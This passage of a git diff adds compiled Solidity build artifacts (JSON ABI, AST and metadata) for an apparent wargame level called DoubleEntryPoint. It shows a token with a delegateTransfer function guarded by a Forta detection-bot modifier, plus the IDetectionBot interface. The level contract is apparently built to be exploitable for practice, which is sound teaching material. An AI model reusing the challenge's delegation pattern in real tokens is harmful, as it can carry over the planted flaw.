scriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51786,"name":"address","nodeType":"ElementaryTypeName","src":"3215:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":51795,"initialValue":{"arguments":[{"arguments":[{"id":51792,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51732,"src":"3271:6:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51790,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51737,"src":"3246:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"id":51791,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3252:18:71","memberName":"usersDetectionBots","nodeType":"MemberAccess","referencedDeclaration":51496,"src":"3246:24:71","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_contract$_IDetectionBot_$51471_$","typeString":"function (address) view external returns (contract IDetectionBot)"}},"id":51793,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3246:32:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}],"id":51789,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"3238:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51788,"name":"address","nodeType":"ElementaryTypeName","src":"3238:7:71","typeDescriptions":{}}},"id":51794,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3238:41:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"3215:64:71"},{"assignments":[51797],"declarations":[{"constant":false,"id":51797,"mutability":"mutable","name":"previousValue","nameLocation":"3340:13:71","nodeType":"VariableDeclaration","scope":51823,"src":"3332:21:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51796,"name":"uint256","nodeType":"ElementaryTypeName","src":"3332:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":51802,"initialValue":{"arguments":[{"id":51800,"name":"detectionBot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51787,"src":"3378:12:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51798,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51737,"src":"3356:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"id":51799,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3362:15:71","memberName":"botRaisedAlerts","nodeType":"MemberAccess","referencedDeclaration":51500,"src":"3356:21:71","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":51801,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3356:35:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"3332:59:71"},{"expression":{"arguments":[{"id":51806,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51732,"src":"3439:6:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"expression":{"id":51807,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3447:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51808,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3451:4:71","memberName":"data","nodeType":"MemberAccess","src":"3447:8:71","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}],"expression":{"id":51803,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51737,"src":"3426:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"id":51805,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3432:6:71","memberName":"notify","nodeType":"MemberAccess","referencedDeclaration":51551,"src":"3426:12:71","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes_memory_ptr_$returns$__$","typeString":"function (address,bytes memory) external"}},"id":51809,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3426:30:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51810,"nodeType":"ExpressionStatement","src":"3426:30:71"},{"id":51811,"nodeType":"PlaceholderStatement","src":"3497:1:71"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":51817,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":51814,"name":"detectionBot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51787,"src":"3579:12:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51812,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51737,"src":"3557:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"id":51813,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3563:15:71","memberName":"botRaisedAlerts","nodeType":"MemberAccess","referencedDeclaration":51500,"src":"3557:21:71","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":51815,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3557:35:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"id":51816,"name":"previousValue","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51797,"src":"3595:13:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"3557:51:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51822,"nodeType":"IfStatement","src":"3553:102:71","trueBody":{"expression":{"arguments":[{"hexValue":"416c65727420686173206265656e207472696767657265642c20726576657274696e67","id":51819,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3617:37:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_3ae8a2daecdbfc253037824392ddaa1876273cf31b918ffb36463f6dc821c120","typeString":"literal_string \"Alert has been triggered, reverting\""},"value":"Alert has been triggered, reverting"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3ae8a2daecdbfc253037824392ddaa1876273cf31b918ffb36463f6dc821c120","typeString":"literal_string \"Alert has been triggered, reverting\""}],"id":51818,"name":"revert","nodeType":"Identifier","overloadedDeclarations":[-19,-19],"referencedDeclaration":-19,"src":"3610:6:71","typeDescriptions":{"typeIdentifier":"t_function_revert_pure$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory) pure"}},"id":51820,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3610:45:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51821,"nodeType":"ExpressionStatement","src":"3610:45:71"}}]},"name":"fortaNotify","nameLocation":"3191:11:71","parameters":{"id":51785,"nodeType":"ParameterList","parameters":[],"src":"3202:2:71"},"virtual":false,"visibility":"internal"},{"id":51849,"nodeType":"FunctionDefinition","src":"3668:247:71","nodes":[],"body":{"id":51848,"nodeType":"Block","src":"3845:70:71","nodes":[],"statements":[{"expression":{"arguments":[{"id":51841,"name":"origSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51830,"src":"3865:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51842,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51826,"src":"3877:2:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51843,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51828,"src":"3881:5:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":51840,"name":"_transfer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47622,"src":"3855:9:71","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":51844,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3855:32:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51845,"nodeType":"ExpressionStatement","src":"3855:32:71"},{"expression":{"hexValue":"74727565","id":51846,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"3904:4:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"functionReturnParameters":51839,"id":51847,"nodeType":"Return","src":"3897:11:71"}]},"baseFunctions":[51462],"functionSelector":"9cd1a121","implemented":true,"kind":"function","modifiers":[{"id":51834,"kind":"modifierInvocation","modifierName":{"id":51833,"name":"onlyDelegateFrom","nameLocations":["3781:16:71"],"nodeType":"IdentifierPath","referencedDeclaration":51784,"src":"3781:16:71"},"nodeType":"ModifierInvocation","src":"3781:16:71"},{"id":51836,"kind":"modifierInvocation","modifierName":{"id":51835,"name":"fortaNotify","nameLocations":["3806:11:71"],"nodeType":"IdentifierPath","referencedDeclaration":51824,"src":"3806:11:71"},"nodeType":"ModifierInvocation","src":"3806:11:71"}],"name":"delegateTransfer","nameLocation":"3677:16:71","overrides":{"id":51832,"nodeType":"OverrideSpecifier","overrides":[],"src":"3764:8:71"},"parameters":{"id":51831,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51826,"mutability":"mutable","name":"to","nameLocation":"3702:2:71","nodeType":"VariableDeclaration","scope":51849,"src":"3694:10:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51825,"name":"address","nodeType":"ElementaryTypeName","src":"3694:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51828,"mutability":"mutable","name":"value","nameLocation":"3714:5:71","nodeType":"VariableDeclaration","scope":51849,"src":"3706:13:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51827,"name":"uint256","nodeType":"ElementaryTypeName","src":"3706:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":51830,"mutability":"mutable","name":"origSender","nameLocation":"3729:10:71","nodeType":"VariableDeclaration","scope":51849,"src":"3721:18:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51829,"name":"address","nodeType":"ElementaryTypeName","src":"3721:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"3693:47:71"},"returnParameters":{"id":51839,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51838,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":51849,"src":"3835:4:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":51837,"name":"bool","nodeType":"ElementaryTypeName","src":"3835:4:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"3834:6:71"},"scope":51850,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"arguments":[{"hexValue":"446f75626c65456e747279506f696e74546f6b656e","id":51722,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2587:23:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_acd02697b9842d4d6df3ca155d849bd2482081e76cdcc10837c68f4b739e609c","typeString":"literal_string \"DoubleEntryPointToken\""},"value":"DoubleEntryPointToken"},{"hexValue":"444554","id":51723,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2612:5:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_0e7ffae0b7eacea784bd2a5973596e3df0c9a32c97db9ebf789b252819ae06c4","typeString":"literal_string \"DET\""},"value":"DET"}],"baseName":{"id":51721,"name":"ERC20","nameLocations":["2581:5:71"],"nodeType":"IdentifierPath","referencedDeclaration":47861,"src":"2581:5:71"},"id":51724,"nodeType":"InheritanceSpecifier","src":"2581:37:71"},{"baseName":{"id":51725,"name":"DelegateERC20","nameLocations":["2620:13:71"],"nodeType":"IdentifierPath","referencedDeclaration":51463,"src":"2620:13:71"},"id":51726,"nodeType":"InheritanceSpecifier","src":"2620:13:71"},{"baseName":{"id":51727,"name":"Ownable","nameLocations":["2635:7:71"],"nodeType":"IdentifierPath","referencedDeclaration":46700,"src":"2635:7:71"},"id":51728,"nodeType":"InheritanceSpecifier","src":"2635:7:71"}],"canonicalName":"DoubleEntryPoint","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[51850,46700,51463,47861,47964,47939,48281],"name":"DoubleEntryPoint","nameLocation":"2561:16:71","scope":51851,"usedErrors":[],"usedEvents":[46601,47873,47882]}],"license":"MIT"},"id":71} \ No newline at end of file diff --git a/contracts/out/DoubleEntryPoint.sol/IDetectionBot.json b/contracts/out/DoubleEntryPoint.sol/IDetectionBot.json new file mode 100644 index 000000000..f5cf286d1 --- /dev/null +++ b/contracts/out/DoubleEntryPoint.sol/IDetectionBot.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"handleTransaction","inputs":[{"name":"user","type":"address","internalType":"address"},{"name":"msgData","type":"bytes","internalType":"bytes"}],"outputs":[],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"handleTransaction(address,bytes)":"220ab6aa"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"user\",\"type\":\"address\"},{\"internalType\":\"bytes\",\"name\":\"msgData\",\"type\":\"bytes\"}],\"name\":\"handleTransaction\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/DoubleEntryPoint.sol\":\"IDetectionBot\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol\":{\"keccak256\":\"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0\",\"dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol\":{\"keccak256\":\"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34\",\"dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"keccak256\":\"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd\",\"dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/DoubleEntryPoint.sol\":{\"keccak256\":\"0x933c270332ea5acadf78d2c2511a7eab75ec06d3f5754de47a0bb8db4f0c0e31\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://393808bd2e10e7b481bf406037591e53f1ca84fd447569ae815f342d707340e6\",\"dweb:/ipfs/QmW9hVkSegCGiNwUmDw7kC1XVth8YWheZRJLoFdXvrpcih\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"bytes","name":"msgData","type":"bytes"}],"stateMutability":"nonpayable","type":"function","name":"handleTransaction"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/DoubleEntryPoint.sol":"IDetectionBot"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol":{"keccak256":"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238","urls":["bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0","dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol":{"keccak256":"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b","urls":["bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34","dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol":{"keccak256":"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca","urls":["bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd","dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/DoubleEntryPoint.sol":{"keccak256":"0x933c270332ea5acadf78d2c2511a7eab75ec06d3f5754de47a0bb8db4f0c0e31","urls":["bzz-raw://393808bd2e10e7b481bf406037591e53f1ca84fd447569ae815f342d707340e6","dweb:/ipfs/QmW9hVkSegCGiNwUmDw7kC1XVth8YWheZRJLoFdXvrpcih"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/DoubleEntryPoint.sol","id":51851,"exportedSymbols":{"Context":[48281],"CryptoVault":[51645],"DelegateERC20":[51463],"DoubleEntryPoint":[51850],"ERC20":[47861],"Forta":[51577],"IDetectionBot":[51471],"IERC20":[47939],"IERC20Metadata":[47964],"IForta":[51489],"LegacyToken":[51720],"Ownable":[46700]},"nodeType":"SourceUnit","src":"32:3886:71","nodes":[{"id":51449,"nodeType":"PragmaDirective","src":"32:23:71","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":51450,"nodeType":"ImportDirective","src":"57:54:71","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol","file":"openzeppelin-contracts-08/access/Ownable.sol","nameLocation":"-1:-1:-1","scope":51851,"sourceUnit":46701,"symbolAliases":[],"unitAlias":""},{"id":51451,"nodeType":"ImportDirective","src":"112:57:71","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol","file":"openzeppelin-contracts-08/token/ERC20/ERC20.sol","nameLocation":"-1:-1:-1","scope":51851,"sourceUnit":47862,"symbolAliases":[],"unitAlias":""},{"id":51463,"nodeType":"ContractDefinition","src":"171:129:71","nodes":[{"id":51462,"nodeType":"FunctionDefinition","src":"201:97:71","nodes":[],"functionSelector":"9cd1a121","implemented":false,"kind":"function","modifiers":[],"name":"delegateTransfer","nameLocation":"210:16:71","parameters":{"id":51458,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51453,"mutability":"mutable","name":"to","nameLocation":"235:2:71","nodeType":"VariableDeclaration","scope":51462,"src":"227:10:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51452,"name":"address","nodeType":"ElementaryTypeName","src":"227:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51455,"mutability":"mutable","name":"value","nameLocation":"247:5:71","nodeType":"VariableDeclaration","scope":51462,"src":"239:13:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51454,"name":"uint256","nodeType":"ElementaryTypeName","src":"239:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":51457,"mutability":"mutable","name":"origSender","nameLocation":"262:10:71","nodeType":"VariableDeclaration","scope":51462,"src":"254:18:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51456,"name":"address","nodeType":"ElementaryTypeName","src":"254:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"226:47:71"},"returnParameters":{"id":51461,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51460,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":51462,"src":"292:4:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":51459,"name":"bool","nodeType":"ElementaryTypeName","src":"292:4:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"291:6:71"},"scope":51463,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"DelegateERC20","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[51463],"name":"DelegateERC20","nameLocation":"181:13:71","scope":51851,"usedErrors":[],"usedEvents":[]},{"id":51471,"nodeType":"ContractDefinition","src":"302:106:71","nodes":[{"id":51470,"nodeType":"FunctionDefinition","src":"332:74:71","nodes":[],"functionSelector":"220ab6aa","implemented":false,"kind":"function","modifiers":[],"name":"handleTransaction","nameLocation":"341:17:71","parameters":{"id":51468,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51465,"mutability":"mutable","name":"user","nameLocation":"367:4:71","nodeType":"VariableDeclaration","scope":51470,"src":"359:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51464,"name":"address","nodeType":"ElementaryTypeName","src":"359:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51467,"mutability":"mutable","name":"msgData","nameLocation":"388:7:71","nodeType":"VariableDeclaration","scope":51470,"src":"373:22:71","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":51466,"name":"bytes","nodeType":"ElementaryTypeName","src":"373:5:71","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"358:38:71"},"returnParameters":{"id":51469,"nodeType":"ParameterList","parameters":[],"src":"405:0:71"},"scope":51471,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"IDetectionBot","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[51471],"name":"IDetectionBot","nameLocation":"312:13:71","scope":51851,"usedErrors":[],"usedEvents":[]},{"id":51489,"nodeType":"ContractDefinition","src":"410:204:71","nodes":[{"id":51476,"nodeType":"FunctionDefinition","src":"433:63:71","nodes":[],"functionSelector":"9e927c68","implemented":false,"kind":"function","modifiers":[],"name":"setDetectionBot","nameLocation":"442:15:71","parameters":{"id":51474,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51473,"mutability":"mutable","name":"detectionBotAddress","nameLocation":"466:19:71","nodeType":"VariableDeclaration","scope":51476,"src":"458:27:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51472,"name":"address","nodeType":"ElementaryTypeName","src":"458:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"457:29:71"},"returnParameters":{"id":51475,"nodeType":"ParameterList","parameters":[],"src":"495:0:71"},"scope":51489,"